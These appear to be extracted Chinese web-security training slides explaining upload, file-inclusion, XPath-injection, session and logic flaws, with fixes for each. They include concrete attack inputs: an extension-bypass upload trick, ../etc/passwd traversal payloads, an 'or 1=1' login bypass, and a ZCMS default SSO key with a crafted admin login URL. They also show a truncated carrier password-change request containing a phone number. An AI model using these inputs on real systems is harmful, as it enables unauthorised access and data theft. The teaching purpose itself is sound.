不能与DomainA的页面交互DomainB图片CSSJavaScriptXML/WebPageXSS:同源策略（SameOriginPolicy）同源策略：脚本只能读取和修改同源文档的属性；同源策略可以保证一个网站无法读取另一个网站的Cookie，一个网站的恶意代码无法修改另一个网站的内容。XHR有兴趣的可以阅读/index.php/2007/02/08/same-origin-policy/目录

概述

WEB代码常见的安全问题SQL注入跨站脚本漏洞(XSS)跨站点请求伪造（CSRF）

其他验证不充分的漏洞其他类型的问题（逻辑缺陷、错误处理不当…)程序开发安全具体措施平台部署与维护具体措施程序安全开发流程文件上传漏洞：常见的验证错误允许上传可执行文件使用客户端JS验证上传文件类型使用黑名单限制上传文件类型文件名/存储目录名可自定义文件名中特殊字符处理不当文件上传漏洞1：梦网彩信相册任意代码执行

Resin服务默认可以执行xtp类型文件，彩信相册的照片，铃声等上传页面的后台程序没有对xtp扩展名过滤，导致可以上传执行代码。文件上传漏洞2：FCKEditor任意文件上传漏洞$Config['DeniedExtensions']['File'] =array('php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi');可以通过上传文件后面加个.就可以上传成功了如：shell.php.在windows系统上shell.php.=shell.php；在*nix系统一般使用apache，在apache里shell.php.将认为是php文件而执行。文件上传漏洞：解决方案解决方案首先编码者需要对上传页面代码严格把关，特别是在保存文件的时候，考察可能出现的异常字符，如../，..\，空字符等。其次，对文件扩展名检查要采取“允许jpg,gif…”这样的检查，而不要采取“不允许asp…”这样的检查；例如IIS允许执行.asa类型的脚本。案例：http://www.krcert.or.kr/english_www/inc/download.jsp?filename=IN2005016.pdf最好对上传文件的目录设置不可执行，这可以通过web服务器配置加固实现。文件包含漏洞

定义：

文件包含漏洞，如果允许客户端用户输入控制动态包含在服务器端的文件，会导致恶意代码的执行及敏感信息泄露，主要包括本地文件包含和远程文件包含两种形式解决方案：1.严格检查变量是否已经初始化。2.建议假定所有输入都是可疑的，尝试对所有输入提交可能可能包含的文件地址，包括服务器本地文件及远程文件，进行严格的检查，参数中不允许出现../之类的目录跳转符。3.严格检查include类的文件包含函数中的参数是否外界可控。4.不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。5.在发布应用程序之前测试所有已知的威胁。参考：/knowledge.html#lfi文件包含漏洞-示例<%Stringbody=request.getParameter("test")%><jsp:includepage="<%=test%>"flush="true"/>示例：test.jsp?test=../../../../../etc/passwd<jsp:includepage="../../../../../etc/passwd"flush="true"/><?phpinclude($_GET[test]);?>Test.php?test=../../../../etc/passwd示例整数溢出示例代码：某人订购大量商品number="42949671";计算出来的总价total=-196Stringnumber=request.getParameter(“number”);//商品数量intnum=Integer.parseInt(number);If(num>0){inttotal=num*100;//计算总价格}XPath注入攻击<?xmlversion="1.0"encoding="UTF-8"?><users><user><firstname>Ben</firstname><lastname>Elmore</lastname><loginID>abc</loginID><password>test123</password></user><user><firstname>Shlomy</firstname><lastname>Gantz</lastname><loginID>xyz</loginID><password>123test</password></user></users>XPathxpath=factory.newXPath();XPathExpressionexpr=pile("//users/user[loginID/text()='"+loginID +"'andpassword/text()='"+password+"']/firstname/text()");Objectresult=expr.evaluate(doc,XPathConstants.NODESET);NodeListnodes=(NodeList)result;//绕过身份验证//users/user[LoginID/text()=''or1=1andpassword/text()=''or1=1]随着简单XMLAPI、Web服务和RichInternetApplications(RIAs)的发展,已经有很多人使用XML文档代替关系数据库，但XML应用程序可能容易受到代码注入的攻击，尤其是

XPath注入攻击是cookies过期时间未设置，可能会引发一些cookies欺骗攻击风险

可能会窃取或操纵客户会话和

cookie，它们可能用于模仿合法用户，从而使黑客能够以该用户身份查看或变更用户记录以及执行事务

解决方案始终生成新的会话，供用户成功认证时登录。在登录页面上加上一段代码：在登陆页面上加的这段代码的作用就是，将用户进入登陆页面时所产生的会话(session)清空，然后让跟踪这个会话的cookie过期，这样服务器就不再掌握有关这个会话的任何信息了。要想与服务器继续通信，就要产生一个新的会话才行。于是会话标示就更新了会话标识未更新注：如果是jsp+servlet，这段代码放jsp页面程序的任何位置都可以。如果是struts框架，这几行代码只能加到jsp页面程序的最后面。因为struts框架在初始化时会创建session对象，并把一些参数放在session里，然后再执行页面代码。request.getSession().invalidate();//清空session

if(request.getCookies()!=null){

Cookiecookie=request.getCookies()[0];//获取cookie

cookie.setMaxAge(0);//让cookie过期}目录

概述

WEB代码常见的安全问题SQL注入跨站脚本漏洞(XSS)跨站点请求伪造（CSRF）

其他验证不充分的漏洞其他类型的问题（逻辑缺陷、错误处理不当…)程序开发安全具体措施平台部署与维护具体措施程序开发安全流程逻辑缺陷越权操作验证绕过程序流程失误变量注册顺序JS劫持随机数生成API调用缺陷Flash安全策略设置逻辑缺陷：CssWeb后台认证绕过漏洞<%@tagliburi="/jsp/jstl/core"prefix="c"%><c:setvar="ctx"value="${pageContext.request.contextPath}"/><%@pageimport="com.cssweb.base.util.*"%><%if(session.getAttribute(Constants.USER_ID)==null){ %><script>alert("Pleaselogining...");location.href="${ctx}/admin/login/logout.jsp";</script><%}%>//如果禁用了客户端的脚本代码，直接访问后台页面，不会被跳转到登陆页面，可以看到后台所有内容。提示：不能用JS代码来完成某些必须要执行的信息。认证绕过：Zcms单点登录认证缺陷<%@pageimport="com.zving.platform.Login"%><%@pageimport="com.zving.framework.utility.StringUtil"%><% Stringusername=request.getParameter("u"); Stringtime=request.getParameter("t"); Stringstr=request.getParameter("s"); Stringkey="WIU%&*DJAJKL%^*W(DLJIST";Strings=StringUtil.md5Hex(username+time+key); if(s.equals(str)){ Login.ssoLogin(request,response,username); }%>//

key安装后缺省都是“WIU%&*DJAJKL%^*W(DLJIST”，可以计算出s登录后台//SSO.jsp?u=admin&t=2010/1/11&s=f7edb87197b4437df8651ae320623006提示：所有发布版不能用统一的缺省值来完成某些必须要执行的信息。程序流程失误：TomcatV5/6/7拒绝服务漏洞//tomcat源代码publicvoidrecycle(){if(buffered.getBuffer().length>65536){buffered=null;}else{buffered.recycle();}……}//buffered如果为null，程序流程进入buffered.recycle()，引用空指针造成tomcat崩溃变量注册顺序：Php168CMS文件包含漏洞...}elseif(ereg("^([-_0-9a-zA-Z]+)$",$_GET[job])||ereg("^([-_0-9a-zA-Z]+)$",$_POST[job])){require(dirname(__FILE__)."/"."global.php");if(is_file(PHP168_PATH."inc/job/$job.php")){include(PHP168_PATH."inc/job/$job.php");}}如果开了全局的话,就可以用gpc的变量注册顺序来pass那个正则判断参考：/Honker/research/2009-08-11/1478.htmlJsonhijacking/Json劫持漏洞

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。JSON采用完全独立于语言的文本格式，也使用了类似于C语言家族的习惯（包括C,C++,C#,Java,JavaScript,Perl,Python等）。这些特性使JSON成为理想的数据交换语言。这种纯文本的数据交互方式由于可以天然的在浏览器中使用，所以随着ajax和web业务的发展得到了广大的发展，各种大型网站都开始使用。 但是如果这种交互的方式用来传递敏感的数据，并且传输的时候没有做太多安全性控制的话将导致安全漏洞，根据敏感信息的不同导致会导致应用遭受不同级别的攻击。 Jsonhijacking/Json劫持漏洞：示例某省运营商网上营业厅修改任意手机号密码漏洞

/js_obsh_service/actionDispatcher.do?jsonParam=[{%22dynamicURI%22%3A%22%2FmmxgBusiness%22%2C%22dynamicParameter%22%3A{%22method%22%3A%22modifyPwd%22%2C%22busiNum%22%3A%22MMFW_MMCZ%22%2C%22mobile%22%3A%2213951909864%22%2C%22newPwd%22%3A%22987321%22%2C%22checkOld%22%3A%220%22%2C%22cardNum%22%3A%22%22}%2C%22dynamicDataNodeName%22%3A%22mmczBu